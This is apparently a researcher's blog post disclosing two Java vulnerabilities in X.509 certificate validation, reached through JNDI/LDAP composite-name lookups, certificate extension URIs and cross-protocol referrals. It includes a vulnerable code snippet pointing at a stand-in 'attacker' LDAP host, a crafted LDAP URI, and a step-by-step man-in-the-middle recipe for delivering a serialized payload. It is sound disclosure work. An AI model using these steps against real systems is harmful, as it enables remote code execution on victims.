Java: Possible RCEs in X.509 certificate validation [CVE-2018-2633][CVE-2017-10116]

January 20, 2018

Executive summary, so that you don’t have a heart attack before we get into the gritty details.

CVE-2018-2633 - fixed in the January 2018 CPU - allows remote code execution under two conditions:

  • com.sun.security.enableAIAcaIssuers==true - which is hopefully as uncommon as a google search suggests, or
  • CRL checking/downloads are enabled (mostly com.sun.security.enableCRLDP==true, but also possibly other configurations) and the attacker can forge a otherwise valid/trusted certificate with an invalid CRL distribution point URL.

CVE-2017-10116 - fixed in the July 2017 CPU - possibly allowed code execution through Java deserialization for an attacker in a MITM position.

All of these apply to all regular X.509 certificate validation using Java’s built-in implementation, i.e. TLS client, TLS server (if client certificates are used), JAR verification… but only under aforementioned conditions.

JNDI - The Root of all Evil

Using JNDI is a quite dangerous game, especially if you think of it as just an LDAP client.

Crazy Feature A: The native ability to store Java objects in LDAP, including remote codebase references.

Back at Blackhat 2016 Alvaro Muñoz and Oleksandr Mirosh presented some RCE vectors through JNDI/LDAP APIs. However, they only seem to have identified issues based on Context.lookup() and Context.search() (when returningObj==true). Essentially controlling the lookup name or the directory contents in conjunction with these calls leads to both the ability to launch a Java deserialization attack (encoded objects in tree) or direct code execution (through JNDI Reference factory loading).

While JNDI/RMI in the meantime (starting with 8u121) has codebase restrictions applied for JNDI Reference loading, the same is not true for JNDI/LDAP (fun fact: at the same time there are codebase restrictions for encoded objects).

Using JNDI as a general purpose LDAP client, none of the methods mentioned above are all that common.

Crazy Feature B: Composite name lookups

If storing objects in the directory is not crazy enough, let me introduce composite name lookups. A composite name is one that has multiple components separated by /, e.g. foo/bar/whatever or as the documentation puts it “a name that spans multiple naming systems” which technically translates to multiple JNDI Contexts.

Taking a name like foo/bar/whatever it’s first component (=foo) will be used to lookup the Context which is used to handle the remainder of the name (=bar/whatever having two components).

Did I hear a lookup() in there? Yes. The intermediate Context is resolved by calling lookup() on the first component with the aforementioned consequences (code execution).

So what is the difference? That logic is invoked on pretty much any Context/DirContext method call, e.g. DirContext.getAttributes(), DirContext.search() or even Context.getNameParser() which are more common as lookup() and the likes. The following code is vulnerable

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://attacker:389/"); // <-- attacker supplied
InitialDirContext ctx = new InitialDirContext(env);
ctx.getAttributes("o=exploit/me"); // <-- attacker supplied
  1. The name argument o=exploit/me is parsed and has more than one component.
  2. Invokes Context.lookup() with the first component o=exploit (absolute: ldap://attacker:389/o=exploit).
  3. The attacker’s rogue LDAP server returns a Reference result.
  4. Object Factory is instantiated from remote codebase -> RCE.

ldapURLContextFactory handles the URL path (which is the directory name) as a single component name. Therefor the name passed in PROVIDER_URL or a full URL passed as the name to one of the context methods is not handled as composite.

For direct exploitation the attacker needs to control both the PROVIDER_URL and a name argument. If the attacker can only control the name argument the attack is still be possible from a MITM position.

The good news is that nobody thought it was a good idea to bring the same features to JNDI/DNS.

Introducing LDAPCertStore/URICertStore [CVE-2018-2633]

Java Cryptography Architecture CertStores are implementations for looking up either X.509 certificates or CRLs for validation purposes. LDAPCertStore implements lookups in LDAP directories and uses JNDI to load Certificates/CRL specified by an LDAP URI. URICertStore is a wrapper around that which also adds support for loading from HTTP URIs.

The JNDI context setup in LDAPCertStore.createInitialDirContext() looks like

String url = "ldap://" + server + ":" + port;
Hashtable<String,Object> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
ctx = new InitialDirContext(env);

server and port are ultimately taken from the URICertStore’s URI.

The actual retrieval JNDI call can be found in LDAPCertStore$LDAPRequest.getValueMap()

attrs = ctx.getAttributes(name, attrIds);

name is from the URI’s path and used to be neither validated nor escaped properly.

Putting that together, accessing an URICertStore constructed from an attacker supplied URI like ldap://attacker/o=exploit/bar (which btw. is not a legal LDAP URI) ultimately resulted in remote code execution.

So where is this stuff used? Well, during X.509 certificate/PKIX path validation.

AuthorityInformationAccess: caIssuers

The AuthorityInformationAccess extension, known for specifying the location of the OCSP server, also has a record type that can be used to indicate an URI where additional intermediate CA certificates for the issuing CA can be obtained.

Java might be the only piece of software actually programmatically using that information. If the system property com.sun.security.enableAIAcaIssuers is set to true during path validation and an unknown issuer is encountered - the implementation will try to load the caIssuers to find certificates that can complete the validation path to a trusted root. Loading happens through URICertStore with the caIssuers URI.

As we haven’t established a trust path at that point, no actual validation of the certificate has taken place. An attacker can easily create a certificate with an arbitrary caIssuers location that will result in remote code execution as it is fed into the URICertStore.

In terms of vulnerabilities this is about as bad as it gets, however a google search for the required enableAIAcaIssuers setting shows very few results, indicating that this is indeed a very rare configuration.

CRLDistributionPoints

The CRLDistributionPoints extension specifies the download location for X.509 certificate revocation lists. These are loaded through URICertStore, too.

com.sun.security.enableCRLDP==true is a much more common configuration. However we are lucky in that CRL checking/download only happens after path validation. That means that for successful exploitation the attacker has to be able to obtain a certificate with a custom distribution point extension that is signed by a CA trusted by the victim. That would be pretty bad enough on it’s own - however normally not result in direct code execution. Apart from a very resourceful attacker having access to a trusted CA, systems allowing weak X.509 signatures schemes (MD5, SHA1) may be exploitable.

Some custom validator usages, e.g. as used for JAR signature validation in Java WebStart, also enable the CRL download functionality when the system property is not set.

Bonus points: JNDI cross protocol referrals [CVE-2017-10116]

Another crazy feature of JNDI/LDAP is that it allows non-LDAP URIs in LDAP referrals (that seems to be intended behavior: “The URLs are usually, but not necessarily, LDAP URLs”). These returned referral URLs are used as JNDI names, so one can return an LDAP referral pointing to an object on a RMI server.

When following referrals is enabled, an attacker controlling responses from an LDAP server, meaning either controlling an LDAP server the vicitim connects to or - in the absence of transport security - being able to MITM another LDAP connection, can trigger a connection to an arbitrary RMI server resulting in the deserialization of untrusted data.

LDAPCertStore follows referrals. In the July 2017 CPU a new referral mode LDAP_REF_FOLLOW_SCHEME was added and used in LDAPCertStore that only follows referrals to other LDAP servers. The January 2018 CPU switches to custom handling of referrals.

If CURL downloads are enabled but the attacker cannot produce a valid certificate with a custom distribution point this possibly allows for another attack from a MITM position:

  1. Get into a MITM position between the victim and the CA’s LDAP server.
  2. Wait/make the vicitim validate a certificate containing any ldap:// CRL distribution point. You may as well just get one from a legitimate CA.
  3. [Depending on the revocation check settings, ensure that the OCSP check fails.]
  4. When the victim sends it’s LDAP request for the CRL, answer with a referral to a RMI server that will return a serialized payload.

That is not fixed in general. Any JNDI/LDAP client usage that is configured to follow referrals and not using transport security is affected by that as well. One should use LDAP_REF_FOLLOW_SCHEME instead of LDAP_REF_FOLLOW for normal LDAP operation.